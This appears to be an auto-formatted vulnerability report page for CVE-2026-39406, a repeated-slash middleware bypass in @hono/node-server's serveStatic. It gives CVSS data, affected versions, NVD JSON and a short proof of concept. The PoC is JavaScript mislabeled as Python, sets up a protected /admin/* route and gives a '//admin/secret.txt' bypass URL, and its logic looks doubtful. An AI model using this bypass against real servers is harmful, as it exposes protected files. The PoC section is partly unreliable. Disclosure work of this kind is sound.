Security Vulnerability Report
中文
CVE-2026-39406 CVSS 5.3 MEDIUM

CVE-2026-39406

Published: 2026-04-08 15:16:15
Last Modified: 2026-04-21 18:38:40

Description

@hono/node-server allows running the Hono application on Node.js. Prior to 1.19.13, a path handling inconsistency in serveStatic allows protected static files to be accessed by using repeated slashes (//) in the request path. When route-based middleware (e.g., /admin/*) is used for authorization, the router may not match paths containing repeated slashes, while serveStatic resolves them as normalized paths. This can lead to a middleware bypass. This vulnerability is fixed in 1.19.13.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:hono:node-server:*:*:*:*:*:node.js:*:* - VULNERABLE
@hono/node-server < 1.19.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-39406: Bypassing route-based middleware in @hono/node-server // This script demonstrates how repeated slashes allow accessing protected files. const { Hono } = require('hono'); const { serveStatic } = require('@hono/node-server'); const { serve } = require('@hono/node-server'); const app = new Hono(); // Simulated protected route middleware (e.g., /admin/*) app.use('/admin/*', async (c, next) => { console.log(`[Auth Middleware] Checking access for path: ${c.req.path}`); // In a real scenario, this would check cookies/headers return c.text('Access Denied: Authentication Required', 403); }); // Serve static files from a 'public' directory app.use('/admin/*', serveStatic({ root: './public' })); // Setup vulnerable server const server = serve({ fetch: app.fetch, port: 3000 }); console.log('Server running on http://localhost:3000'); console.log('Try accessing: http://localhost:3000//admin/secret.txt');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39406", "sourceIdentifier": "[email protected]", "published": "2026-04-08T15:16:14.513", "lastModified": "2026-04-21T18:38:40.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "@hono/node-server allows running the Hono application on Node.js. Prior to 1.19.13, a path handling inconsistency in serveStatic allows protected static files to be accessed by using repeated slashes (//) in the request path. When route-based middleware (e.g., /admin/*) is used for authorization, the router may not match paths containing repeated slashes, while serveStatic resolves them as normalized paths. This can lead to a middleware bypass. This vulnerability is fixed in 1.19.13."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hono:node-server:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "1.19.12", "matchCriteriaId": "4615D37F-3481-4FE8-A893-9B3145848FBE"}]}]}], "references": [{"url": "https://github.com/honojs/node-server/security/advisories/GHSA-92pp-h63x-v22m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}